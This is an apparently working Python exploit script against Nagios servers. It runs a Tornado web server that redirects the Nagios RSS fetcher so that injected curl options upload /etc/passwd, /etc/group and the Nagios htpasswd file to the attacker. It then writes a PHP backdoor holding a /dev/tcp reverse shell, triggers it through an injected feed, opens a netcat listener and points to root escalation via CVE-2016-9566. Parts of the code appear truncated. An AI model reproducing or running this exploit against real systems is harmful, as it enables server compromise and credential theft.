import os
import sys
import time
import re
import tornado.httpserver
import tornado.web
import tornado.ioloop
exploited = 0
docroot_rw = 0
class MainHandler(tornado.web.RequestHandler):
def get(self):
global exploited
if exploited == 1:
self.finish()
else:
ua = self.request.headers['User-Agent']
if "Magpie" in ua:
print("[+] Received GET request from Nagios server ({})! Sending redirect to inject our curl payload:\n".format(self.request.remote_ip))
print('-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n')
self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)
exploited = 1
def post(self):
global docroot_rw
print("[+] Success, curl payload injected! Received data back from the Nagios server {}\n".format(self.request.remote_ip))
# Extract /etc/passwd from the target
passwd = self.request.files['passwd'][0]['body']
print("[*] Contents of /etc/passwd file from the target:\n\n{}".format(passwd))
# Extract /usr/local/nagios/etc/htpasswd.users
htauth = self.request.files['htauth'][0]['body']
print("[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n{}".format(htauth))
# Extract nagios group from /etc/group
group = self.request.files['group'][0]['body']
for line in group.splitlines():
if b"nagios:" in line:
nagios_group = line.decode()
print("[*] Retrieved nagios group line from /etc/group file on the target: {}\n".format(nagios_group))
if "www-data" in nagios_group:
print("[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n")
docroot_rw = 1
# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'
# option. The output trace should contain an unwrapped line similar to:
#
# == Info: Server /dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted
#
# which will do the trick as it won't mess up the payload :)
self.add_header('Server', backdoor)
# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via
tag :)
print("[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :)\n")
self.write(xmldata)
self.finish()
tornado.ioloop.IOLoop.instance().stop()
if __name__ == "__main__":
global backdoor_path
global backdoor
print(intro)
# Set attacker's external IP & port to be used by the
if len(sys.argv) < 2:
print(usage)
sys.exit(2)
attacker_ip = sys.argv[1]
if len(sys.argv) == 3:
attacker_port = sys.argv[2]
else:
attacker_port = 8080
# PHP backdoor to be saved on the target Nagios server
backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
backdoor = """/dev/tcp/{}/{} 0<&1 2>&1 &'"); die("stop processing"); ?>""".format(
attacker_ip, attacker_port)
# Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
xmldata = """
Nagios feed with injected JS payload
-
Item 1
<strong>Feed injected. Here we go </strong> -
loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;)
<img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')">
"""
# Generate SSL cert
print("[+] Generating SSL certificate for our python HTTPS web server \n")
os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null")
print("[+] Starting the web server on ports 80 & 443 \n")
application = tornado.web.Application([
(r'/.*', MainHandler)
])
application.listen(80)
http_server = tornado.httpserver.HTTPServer(
application,
ssl_options={
"certfile": os.path.join("./", "server.cert"),
"keyfile": os.path.join("./", "server.key"),
}
)
http_server.listen(443)
print("[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n")
tornado.ioloop.IOLoop.current().start()
if docroot_rw == 1:
print("[+] PHP backdoor should have been saved in {} on the target by now!\n".format(backdoor_path))
print("[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\n")
os.system("nc -v -l -p 8080")
print("\n[+] Shell closed\n")
print("[+] That's all. Exiting\n")